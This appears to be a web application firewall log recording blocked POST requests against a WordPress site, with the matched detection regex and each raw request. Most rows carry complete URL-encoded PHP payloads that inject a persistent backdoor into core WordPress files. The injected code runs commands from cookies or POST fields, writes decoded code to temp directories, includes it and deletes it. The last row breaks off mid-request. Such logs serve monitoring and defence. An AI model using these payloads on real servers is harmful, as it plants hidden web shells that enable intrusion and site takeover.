["2026-05-12 23:02:14","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3274\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:02:19","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4249\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nJh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:03:47","101.100.3.213","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-length:4249\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\n\nGf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:03:52","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ep:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4249\ncookie:4=1af844051764377410b827578daae50e; 